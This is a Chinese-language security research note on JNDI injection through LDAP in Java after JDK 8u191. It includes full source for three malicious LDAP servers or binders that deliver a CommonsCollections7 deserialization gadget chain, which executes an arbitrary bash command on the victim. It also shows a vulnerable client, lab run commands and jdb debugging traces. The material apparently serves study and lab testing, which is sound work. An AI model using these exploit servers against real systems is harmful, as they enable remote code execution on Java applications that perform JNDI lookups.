标题: 8u191之后的JNDI注入(LDAP) 创建: 2020-05-01 19:56 更新: 链接: https://scz.617.cn/network/202005011956.txt -------------------------------------------------------------------------- 目录: ☆ 前言 ☆ 简版LDAP Server ☆ 8u191之后的JNDI注入(LDAP) 0) VulnerableClient.java 1) EvilLDAPServer.java 2) EvilServer5.java 2.0) 测试 2.1) 调试ctx.rebind() 2.1.1) 简化版调用关系 2.1.2) 相关源码 2.2) 调试ctx.lookup() 2.2.1) 简化版调用关系 3) EvilServer6.java ☆ 参考资源 -------------------------------------------------------------------------- ☆ 前言 本篇是[45]最后一小节的学习笔记,讲述8u191之后如何利用LDAP进行JNDI注入。简 单点说,利用"javaSerializedData"属性,参[44]。 KINGX的方案是自己实现一个恶意LDAP服务,直接操作"javaSerializedData"属性。 我对此方案有个新贡献,探索了正经程序员视角下的一种更易理解的攻击方案,使用 标准LDAP服务,无需直接操作"javaSerializedData"属性,估计之前没人这么干过。 我一看就是那种正经程序员,而KINGX一看就是坏人,更可鄙视的是,这种坏人往往 自称白帽子。 本篇内容已全部补充到下文中: 《Java RMI入门(3)》 https://scz.617.cn/network/202003121717.txt ☆ 简版LDAP Server Simple all-in-one LDAP server (wrapped ApacheDS) https://github.com/kwart/ldap-server $ vi jndi.ldif -------------------------------------------------------------------------- dn: o=anything,dc=evil,dc=com objectclass: top objectclass: organization o: anything -------------------------------------------------------------------------- 这是我瞎写的,不懂LDAP,不知道该怎么弄一个最简.ldif文件,至少这个能用。 $ java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif ☆ 8u191之后的JNDI注入(LDAP) 参[45]。这个技术方案相当于有一方在ObjectInputStream.readObject(),另一方在 ObjectOutputStream.writeObject(),后者是攻击者可控的,前者没有缺省过滤器。 此时只受限于受害者一侧CLASSPATH中是否存在Gadget链的依赖库,对JDK没有版本要 求。 参[74],后面的PoC用到了如下库: unboundid-ldapsdk-3.1.1.jar commons-collections-3.1.jar 0) VulnerableClient.java -------------------------------------------------------------------------- /* * javac -encoding GBK -g VulnerableClient.java */ import javax.naming.*; public class VulnerableClient { public static void main ( String[] argv ) throws Exception { String name = argv[0]; Context ctx = new InitialContext(); ctx.lookup( name ); } } -------------------------------------------------------------------------- 这是受漏洞影响的JNDI客户端。 1) EvilLDAPServer.java 参[45],这就是: https://github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java 我按自己的编程习惯稍做修改,如果Gadget链有变,改getObject()即可。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar" EvilLDAPServer.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import java.net.*; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class EvilLDAPServer { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } /* * com.sun.jndi.ldap.Obj.serializeObject */ private static byte[] serializeObject ( Object obj ) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); return bos.toByteArray(); } private static class OperationInterceptor extends InMemoryOperationInterceptor { String cmd; public OperationInterceptor ( String cmd ) { this.cmd = cmd; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry( base ); try { sendResult( result, base, e ); } catch ( Exception ex ) { ex.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { e.addAttribute( "javaClassName", "foo" ); e.addAttribute( "javaSerializedData", serializeObject( getObject( this.cmd ) ) ); result.sendSearchEntry( e ); result.setResult( new LDAPResult( 0, ResultCode.SUCCESS ) ); } } private static void MiniLDAPServer ( String addr, int port, String cmd ) throws Exception { InMemoryDirectoryServerConfig conf = new InMemoryDirectoryServerConfig( "dc=evil,dc=com" ); conf.setListenerConfigs ( new InMemoryListenerConfig ( "listen", InetAddress.getByName( addr ), Integer.valueOf( port ), ServerSocketFactory.getDefault(), SocketFactory.getDefault(), ( SSLSocketFactory )SSLSocketFactory.getDefault() ) ); conf.addInMemoryOperationInterceptor( new OperationInterceptor( cmd ) ); InMemoryDirectoryServer ds = new InMemoryDirectoryServer( conf ); ds.startListening(); } public static void main ( String[] argv ) throws Exception { String addr = argv[0]; int port = Integer.parseInt( argv[1] ); String cmd = argv[2]; MiniLDAPServer( addr, port, cmd ); } } -------------------------------------------------------------------------- 假设目录结构是: . | +---test1 | EvilLDAPServer.class | EvilLDAPServer$OperationInterceptor.class | unboundid-ldapsdk-3.1.1.jar | commons-collections-3.1.jar | \---test2 VulnerableClient.class commons-collections-3.1.jar 在test1目录执行: java \ -cp "commons-collections-3.1.jar:unboundid-ldapsdk-3.1.1.jar:." \ EvilLDAPServer 192.168.65.23 10388 "/bin/touch /tmp/scz_is_here" 在test2目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10388/dc=evil,dc=com \ VulnerableClient any 2) EvilServer5.java EvilLDAPServer自己实现一个恶意LDAP服务,直接操作"javaSerializedData"属性。 实际上有更容易理解的攻击方案,就用标准LDAP服务,只不过绑定恶意Object,背后 的原理跟EvilLDAPServer一样。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer5.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import javax.naming.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; public class EvilServer5 { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } public static void main ( String[] argv ) throws Exception { String name = argv[0]; String cmd = argv[1]; Object obj = getObject( cmd ); Context ctx = new InitialContext(); ctx.rebind( name, obj ); System.in.read(); } } -------------------------------------------------------------------------- 用LDAP Server做周知端口时,rebind()的内部实现就是将Object序列化后置于 "javaSerializedData"属性中,lookup()则对"javaSerializedData"属性的值进行 反序列化,就这么设计的。所以像EvilServer5.java这样编程,entry中天然会出现 "javaSerializedData"属性,不需要奇技淫巧。 即使用javax.naming.directory.InitialDirContext,且ctx.rebind()时第三形参指 定"javaSerializedData"属性,将来也会在com.sun.jndi.ldap.Obj.encodeObject() 中用rebind()第二形参的序列化数据覆盖之。 不过,神奇的是,我碰上过这个错误提示: More than one value has been provided for the single-valued attribute: javaSerializedData 动态调试发现有两个"javaSerializedData"属性出现,分别对应rebind()第二、三形 参。正是调试该错误时发现com.sun.jndi.ldap.Obj.encodeObject(),从而找到 EvilServer5的最简实现方式。可惜当时在调试分析的中间阶段,没有保留那个出错 的测试用例,待我搞清楚来龙去脉后,再也无法复现同样的错误场景,遗憾。 2.0) 测试 假设目录结构是: . | +---test0 | jndi.ldif | ldap-server.jar | +---test1 | EvilServer5.class | commons-collections-3.1.jar | \---test2 VulnerableClient.class commons-collections-3.1.jar 在test0目录执行: java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif 在test1目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer5 cn=any "/bin/touch /tmp/scz_is_here" 在test2目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any 2.1) 调试ctx.rebind() 调试EvilServer5: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer5 cn=any "/bin/touch /tmp/scz_is_here" jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in com.sun.jndi.ldap.Obj.encodeObject stop at com.sun.jndi.ldap.Obj:173 [1] com.sun.jndi.ldap.Obj.encodeObject (Obj.java:173), pc = 271 [2] com.sun.jndi.ldap.Obj.determineBindAttrs (Obj.java:597), pc = 181 [3] com.sun.jndi.ldap.LdapCtx.c_bind (LdapCtx.java:411), pc = 45 [4] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:500), pc = 39 [5] com.sun.jndi.ldap.LdapCtx.c_rebind (LdapCtx.java:464), pc = 5 [6] com.sun.jndi.toolkit.ctx.ComponentContext.p_rebind (ComponentContext.java:631), pc = 62 [7] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:223), pc = 29 [8] com.sun.jndi.toolkit.ctx.PartialCompositeContext.rebind (PartialCompositeContext.java:214), pc = 10 [9] javax.naming.InitialContext.rebind (InitialContext.java:433), pc = 7 [10] EvilServer5.main (EvilServer5.java:92), pc = 26 2.1.1) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java -------------------------------------------------------------------------- InitialContext.rebind // 8u232 LdapCtx.c_rebind LdapCtx.c_rebind // LdapCtx:464 LdapCtx.c_bind // LdapCtx:500 Obj.determineBindAttrs // LdapCtx:411 Obj.encodeObject // Obj:597 // convert the supplied object into LDAP attributes attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA],serializeObject(obj))) // Obj:173 // 设置"javaSerializedData"属性 attrs = addRdnAttributes(...) // LdapCtx:416 answer = clnt.add(entry, reqCtls) // LdapCtx:419 // com.sun.jndi.ldap.LdapClient.add() -------------------------------------------------------------------------- 如果ctx.rebind()碰上如下错误提示: a) More than one value has been provided for the single-valued attribute: javaSerializedData b) can only bind Referenceable, Serializable, DirContext 动态调试这个函数: com.sun.jndi.ldap.Obj.encodeObject() 2.1.2) 相关源码 http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java -------------------------------------------------------------------------- /* * com.sun.jndi.ldap.Obj.encodeObject */ /** * Encode an object in LDAP attributes. * Supports binding Referenceable or Reference, Serializable, * and DirContext. * * If the object supports the Referenceable interface then encode * the reference to the object. See encodeReference() for details. *

* If the object is serializable, it is stored as follows: * javaClassName * value: Object.getClass(); * javaSerializedData * value: serialized form of Object (in binary form). * javaTypeName * value: getTypeNames(Object.getClass()); */ private static Attributes encodeObject(char separator, Object obj, Attributes attrs, Attribute objectClass, boolean cloned) throws NamingException { boolean structural = (objectClass.size() == 0 || (objectClass.size() == 1 && objectClass.contains("top"))); if (structural) { objectClass.add(JAVA_OBJECT_CLASSES[STRUCTURAL]); } // References if (obj instanceof Referenceable) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]); if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); return (encodeReference(separator, ((Referenceable)obj).getReference(), attrs, obj)); } else if (obj instanceof Reference) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); objectClass.add(JAVA_OBJECT_CLASSES[REF_OBJECT]); if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); return (encodeReference(separator, (Reference)obj, attrs, null)); // Serializable Object } else if (obj instanceof java.io.Serializable) { objectClass.add(JAVA_OBJECT_CLASSES[BASE_OBJECT]); if (!(objectClass.contains(JAVA_OBJECT_CLASSES[MAR_OBJECT]) || objectClass.contains(JAVA_OBJECT_CLASSES_LOWER[MAR_OBJECT]))) { objectClass.add(JAVA_OBJECT_CLASSES[SER_OBJECT]); } if (!cloned) { attrs = (Attributes)attrs.clone(); } attrs.put(objectClass); /* * 173行,设置"javaSerializedData"属性 */ attrs.put(new BasicAttribute(JAVA_ATTRIBUTES[SERIALIZED_DATA], serializeObject(obj))); if (attrs.get(JAVA_ATTRIBUTES[CLASSNAME]) == null) { attrs.put(JAVA_ATTRIBUTES[CLASSNAME], obj.getClass().getName()); } if (attrs.get(JAVA_ATTRIBUTES[TYPENAME]) == null) { Attribute tAttr = LdapCtxFactory.createTypeNameAttr(obj.getClass()); if (tAttr != null) { attrs.put(tAttr); } } // DirContext Object } else if (obj instanceof DirContext) { // do nothing } else { /* * 190行 */ throw new IllegalArgumentException( "can only bind Referenceable, Serializable, DirContext"); } // System.err.println(attrs); return attrs; } -------------------------------------------------------------------------- 2.2) 调试ctx.lookup() 调试VulnerableClient: java -agentlib:jdwp=transport=dt_socket,address=192.168.65.23:8005,server=y,suspend=y \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.65.23,port=8005 stop in java.lang.Runtime.exec(java.lang.String[]) [1] java.lang.Runtime.exec (Runtime.java:485), pc = 0 [2] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [3] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [4] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [5] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [6] org.apache.commons.collections.functors.InvokerTransformer.transform (InvokerTransformer.java:125), pc = 30 [7] org.apache.commons.collections.functors.ChainedTransformer.transform (ChainedTransformer.java:122), pc = 12 [8] org.apache.commons.collections.map.LazyMap.get (LazyMap.java:151), pc = 18 [9] java.util.AbstractMap.equals (AbstractMap.java:495), pc = 118 [10] org.apache.commons.collections.map.AbstractMapDecorator.equals (AbstractMapDecorator.java:129), pc = 12 [11] java.util.Hashtable.reconstitutionPut (Hashtable.java:1,241), pc = 55 [12] java.util.Hashtable.readObject (Hashtable.java:1,215), pc = 228 [13] sun.reflect.NativeMethodAccessorImpl.invoke0 (native method) [14] sun.reflect.NativeMethodAccessorImpl.invoke (NativeMethodAccessorImpl.java:62), pc = 100 [15] sun.reflect.DelegatingMethodAccessorImpl.invoke (DelegatingMethodAccessorImpl.java:43), pc = 6 [16] java.lang.reflect.Method.invoke (Method.java:498), pc = 56 [17] java.io.ObjectStreamClass.invokeReadObject (ObjectStreamClass.java:1,170), pc = 24 [18] java.io.ObjectInputStream.readSerialData (ObjectInputStream.java:2,177), pc = 119 [19] java.io.ObjectInputStream.readOrdinaryObject (ObjectInputStream.java:2,068), pc = 183 [20] java.io.ObjectInputStream.readObject0 (ObjectInputStream.java:1,572), pc = 401 [21] java.io.ObjectInputStream.readObject (ObjectInputStream.java:430), pc = 19 [22] com.sun.jndi.ldap.Obj.deserializeObject (Obj.java:531), pc = 38 [23] com.sun.jndi.ldap.Obj.decodeObject (Obj.java:239), pc = 52 [24] com.sun.jndi.ldap.LdapCtx.c_lookup (LdapCtx.java:1,051), pc = 164 [25] com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup (ComponentContext.java:542), pc = 81 [26] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:177), pc = 26 [27] com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup (PartialCompositeContext.java:166), pc = 9 [28] javax.naming.InitialContext.lookup (InitialContext.java:417), pc = 6 [29] VulnerableClient.main (VulnerableClient.java:12), pc = 14 2.2.1) 简化版调用关系 参看: http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/LdapCtx.java http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java -------------------------------------------------------------------------- InitialContext.lookup // 8u232 LdapCtx.c_lookup LdapResult answer = doSearchOnce() // LdapCtx:1027 // 向LDAP Server查询 attrs = entry.attributes // LdapCtx:1047 // 取entry的所有属性 if (attrs.get(Obj.JAVA_ATTRIBUTES[Obj.CLASSNAME]) != null) // LdapCtx:1049 // 检查entry的"javaClassName"属性 // 本例中是"java.util.Hashtable" Obj.decodeObject // LdapCtx:1051 attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA]) // Obj:237 // 取"javaSerializedData"属性 Obj.deserializeObject // Obj:239 // 对byte[]进行反序列化 ObjectInputStream.readObject // Obj:531 Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.exec -------------------------------------------------------------------------- 这种攻击方案相当于受害者调ObjectInputStream.readObject()反序列化攻击者可控 数据,没有缺省过滤器。此时,只要求受害者一侧有Gadget链依赖库,没有其他限制。 3) EvilServer6.java 参[39],Alvaro Munoz在议题中给了点代码片断: -------------------------------------------------------------------------- System.out.println("Poisoning LDAP user"); BasicAttribute mod1 = new BasicAttribute("javaCodebase",attackerURL)); BasicAttribute mod2 = new BasicAttribute("javaClassName","DeserPayload")); BasicAttribute mod3 = new BasicAttribute("javaSerializedData", serializedBytes)); ModificationItem[] mods = new ModificationItem[3]; mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1); mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2); mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3); ctx.modifyAttributes("uid=target,ou=People,dc=example,dc=com", mods); -------------------------------------------------------------------------- 他调用的是: javax.naming.directory.InitialDirContext.modifyAttributes(String,ModificationItem[]) 我觉得他绕了大弯路,完全没必要,EvilServer5.java就是最简形式。不过我好奇心 很重,基于他这个片断写了EvilServer6.java。 -------------------------------------------------------------------------- /* * javac -encoding GBK -g -cp "commons-collections-3.1.jar" EvilServer6.java */ import java.io.*; import java.util.*; import java.lang.reflect.*; import javax.naming.directory.*; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; public class EvilServer6 { /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception { Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); } /* * com.sun.jndi.ldap.Obj.serializeObject */ private static byte[] serializeObject ( Object obj ) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream( bos ); oos.writeObject( obj ); return bos.toByteArray(); } public static void main ( String[] argv ) throws Exception { String name = argv[0]; String cmd = argv[1]; Object obj = getObject( cmd ); String sth = ""; Attribute attr = new BasicAttribute( "javaSerializedData", serializeObject( obj ) ); ModificationItem[] mods = new ModificationItem[1]; mods[0] = new ModificationItem( DirContext.REPLACE_ATTRIBUTE, attr ); DirContext ctx = new InitialDirContext(); /* * com.sun.jndi.ldap.Obj.encodeObject(Obj.java:190) * * can only bind Referenceable, Serializable, DirContext */ ctx.rebind( name, sth, null ); ctx.modifyAttributes( name, mods ); System.in.read(); } } -------------------------------------------------------------------------- EvilServer6的网络通信比EvilServer5多,modifyAttributes()会产生新的网络通信。 假设目录结构是: . | +---test0 | jndi.ldif | ldap-server.jar | +---test1 | EvilServer6.class | commons-collections-3.1.jar | \---test2 VulnerableClient.class commons-collections-3.1.jar 在test0目录执行: java -jar ldap-server.jar -a -b 192.168.65.23 -p 10389 jndi.ldif 在test1目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ EvilServer6 cn=any "/bin/touch /tmp/scz_is_here" 在test2目录执行: java \ -cp "commons-collections-3.1.jar:." \ -Djava.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory \ -Djava.naming.provider.url=ldap://192.168.65.23:10389/o=anything,dc=evil,dc=com \ VulnerableClient cn=any ☆ 参考资源 [39] A Journey From JNDI LDAP Manipulation To RCE - Alvaro Munoz, Oleksandr Mirosh [2016-08-02] https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf [44] LDAP Directories https://docs.oracle.com/javase/jndi/tutorial/objects/representation/ldap.html (提到javaSerializedData) [45] 如何绕过高版本JDK的限制进行JNDI注入利用 - KINGX [2019-06-03] https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html https://github.com/kxcode/JNDI-Exploit-Bypass-Demo [74] https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/ https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/3.1.1/unboundid-ldapsdk-3.1.1.jar